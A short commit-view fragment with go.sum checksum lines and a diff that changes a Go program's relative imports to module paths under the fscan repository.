gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+2 -2
View File
@@ -1,8 +1,8 @@
package main package main
import ( import (
"./common" "github.com/shadow1ng/fscan/common"
"./Plugins" "github.com/shadow1ng/fscan/Plugins"
"fmt" "fmt"
) )